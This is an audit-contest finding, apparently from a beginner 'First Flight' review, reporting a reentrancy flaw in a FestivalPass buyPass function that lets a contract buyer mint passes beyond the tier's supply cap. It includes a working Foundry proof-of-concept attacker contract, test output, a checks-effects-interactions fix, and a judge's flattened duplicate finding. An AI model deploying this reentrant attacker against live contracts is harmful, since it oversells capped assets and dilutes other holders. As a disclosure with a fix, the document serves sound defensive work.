Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in buyPass: _mint triggers onERC1155Received before ++passSupply, so a contract buyer re-entering from the callback mints passes past passMaxSupply and oversells the tier

Root + Impact

Description

  • buyPass sells a tier only while passSupply[id] < passMaxSupply[id]. IFestivalPass documents maxSupply as the "Maximum number of passes that can be sold". It is the only scarcity and capacity control on passes.

  • buyPass makes its external interaction before it updates state. _mint goes through OpenZeppelin _updateWithAcceptanceCheck -> ERC1155Utils.checkOnERC1155Received, which calls onERC1155Received on any buyer with code. ++passSupply[collectionId] runs only after that callback returns, and buyPass has no reentrancy guard. A contract buyer that calls buyPass again from the callback therefore sees the stale passSupply every time. Each nested call passes the cap check, so one remaining slot becomes any number of passes.

// src/FestivalPass.sol L69-L85 (@> on L74, L76, L77)
function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • Any account that deploys a receiver contract can do it whenever a tier has at least one unsold pass, which is the normal state throughout a sale. No privileged role is involved.

  • The attacker pays face value for every pass and needs a custom contract. The motive is scalping a capped tier, or collecting the extra welcome bonuses and 2x/3x earners, so this is a deliberate, specific action rather than an accident.

Impact:

  • The tier's supply cap is broken. In the PoC, a BACKSTAGE tier with cap 3 and one slot left ends at passSupply == 7, with the attacker holding 5 passes. A tier with cap 1 and nothing sold yields 10 passes in one transaction. The festival is oversold, and holders of a capped asset are diluted.

  • Every over-cap pass also mints an unplanned welcome bonus (75 BEAT for 5 BACKSTAGE passes in the PoC) and adds an extra 2x/3x reward earner. The attacker pays face value per pass, so no ETH is stolen. Honest buyers are refused afterwards, but they would have hit the cap anyway; the added harm is the k - 1 passes above the cap.

Proof of Concept

BF02ReentrantBuyer calls buyPass{value: price}(3) again from onERC1155Received while a counter is below k.

  • test_baseline_capEnforcedForEOA shows that an EOA cannot go past the cap.

  • test_reentrancy_mintsPastMaxSupply starts from passSupply = MAX - 1 and ends at MAX - 1 + k. The attacker holds k passes and k bonuses and paid exactly k x price.

  • test_reentrancy_fromZero_capOfOne mints 10 passes against a cap of 1.

Save as test/PoC_BF-02.t.sol and run from the repository root:

FOUNDRY_FFI=false forge test --match-path test/PoC_BF-02.t.sol -vv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
​
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
​
/// Attacker contract: re-enters buyPass from onERC1155Received while passSupply is still stale.
contract BF02ReentrantBuyer is IERC1155Receiver {
FestivalPass public immutable festival;
uint256 public immutable passId;
uint256 public immutable price;
uint256 public targetCount;
uint256 public bought;
​
constructor(FestivalPass _festival, uint256 _passId, uint256 _price) payable {
festival = _festival;
passId = _passId;
price = _price;
}
​
function attack(uint256 k) external {
targetCount = k;
bought = 1;
festival.buyPass{value: price}(passId);
}
​
function onERC1155Received(address, address from, uint256 id, uint256, bytes calldata)
external
returns (bytes4)
{
if (msg.sender == address(festival) && from == address(0) && id == passId && bought < targetCount) {
bought++;
festival.buyPass{value: price}(passId);
}
return IERC1155Receiver.onERC1155Received.selector;
}
​
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata)
external
pure
returns (bytes4)
{
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
​
function supportsInterface(bytes4 i) external pure returns (bool) {
return i == type(IERC1155Receiver).interfaceId || i == type(IERC165).interfaceId;
}
}
​
contract PoC_BF02 is Test {
FestivalPass festival;
BeatToken beat;
​
address owner = makeAddr("owner");
address organizer = makeAddr("organizer");
address honest = makeAddr("honest");
address honest2 = makeAddr("honest2");
​
uint256 constant BACKSTAGE = 3;
uint256 constant PRICE = 0.25 ether;
uint256 constant MAX = 3;
​
function setUp() public {
vm.startPrank(owner);
beat = new BeatToken();
festival = new FestivalPass(address(beat), organizer);
beat.setFestivalContract(address(festival));
vm.stopPrank();
​
vm.prank(organizer);
festival.configurePass(BACKSTAGE, PRICE, MAX);
​
vm.deal(honest, 10 ether);
vm.deal(honest2, 10 ether);
}
​
/// Baseline: an EOA buyer cannot exceed passMaxSupply.
function test_baseline_capEnforcedForEOA() public {
vm.startPrank(honest);
for (uint256 i; i < MAX; i++) {
festival.buyPass{value: PRICE}(BACKSTAGE);
}
vm.expectRevert("Max supply reached");
festival.buyPass{value: PRICE}(BACKSTAGE);
vm.stopPrank();
​
assertEq(festival.passSupply(BACKSTAGE), MAX);
assertEq(festival.balanceOf(honest, BACKSTAGE), MAX);
}
​
/// Break: with one slot left (supply = MAX-1), a reentrant contract buyer mints k passes.
function test_reentrancy_mintsPastMaxSupply() public {
// Honest user buys MAX-1 passes, leaving exactly one slot.
vm.startPrank(honest);
for (uint256 i; i < MAX - 1; i++) {
festival.buyPass{value: PRICE}(BACKSTAGE);
}
vm.stopPrank();
assertEq(festival.passSupply(BACKSTAGE), MAX - 1);
​
uint256 k = 5;
BF02ReentrantBuyer attacker = new BF02ReentrantBuyer{value: k * PRICE}(festival, BACKSTAGE, PRICE);
uint256 festivalEthBefore = address(festival).balance;
​
attacker.attack(k);
​
uint256 supplyAfter = festival.passSupply(BACKSTAGE);
console.log("passMaxSupply(3) :", festival.passMaxSupply(BACKSTAGE));
console.log("passSupply(3) after :", supplyAfter);
console.log("attacker BACKSTAGE bal :", festival.balanceOf(address(attacker), BACKSTAGE));
console.log("attacker BEAT bonus :", beat.balanceOf(address(attacker)));
console.log("ETH paid by attacker :", address(festival).balance - festivalEthBefore);
​
// Cap broken: supply = (MAX-1) + k > MAX
assertEq(supplyAfter, MAX - 1 + k);
assertGt(supplyAfter, festival.passMaxSupply(BACKSTAGE));
// Attacker holds k passes from a single remaining slot; k-1 are over the cap
assertEq(festival.balanceOf(address(attacker), BACKSTAGE), k);
// Over-cap welcome bonuses: 15 BEAT per pass, k times
assertEq(beat.balanceOf(address(attacker)), k * 15e18);
// Attacker paid face value for each pass (no ETH theft)
assertEq(address(festival).balance - festivalEthBefore, k * PRICE);
​
// Afterwards honest buyers are rejected (tier is over-sold)
vm.prank(honest2);
vm.expectRevert("Max supply reached");
festival.buyPass{value: PRICE}(BACKSTAGE);
​
// Total passes in circulation exceed the cap
uint256 circulating = festival.balanceOf(honest, BACKSTAGE) + festival.balanceOf(address(attacker), BACKSTAGE);
assertEq(circulating, MAX - 1 + k);
assertGt(circulating, MAX);
}
​
/// Even from zero supply, a contract can mint far beyond the cap in one tx.
function test_reentrancy_fromZero_capOfOne() public {
vm.prank(organizer);
festival.configurePass(BACKSTAGE, PRICE, 1);
​
uint256 k = 10;
BF02ReentrantBuyer attacker = new BF02ReentrantBuyer{value: k * PRICE}(festival, BACKSTAGE, PRICE);
attacker.attack(k);
​
console.log("cap=1, passSupply after :", festival.passSupply(BACKSTAGE));
assertEq(festival.passMaxSupply(BACKSTAGE), 1);
assertEq(festival.passSupply(BACKSTAGE), k);
assertEq(festival.balanceOf(address(attacker), BACKSTAGE), k);
}
}

Observed output (excerpt):

[PASS] test_baseline_capEnforcedForEOA() (gas: 181364)
[PASS] test_reentrancy_fromZero_capOfOne() (gas: 992701)
cap=1, passSupply after : 10
[PASS] test_reentrancy_mintsPastMaxSupply() (gas: 985248)
passMaxSupply(3) : 3
passSupply(3) after : 7
attacker BACKSTAGE bal : 5
attacker BEAT bonus : 75000000000000000000
ETH paid by attacker : 1250000000000000000
Suite result: ok. 3 passed; 0 failed; 0 skipped

Recommended Mitigation

Follow checks-effects-interactions: count the pass before _mint hands control to the buyer. Adding OpenZeppelin ReentrancyGuard and marking buyPass nonReentrant gives defence in depth.

require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!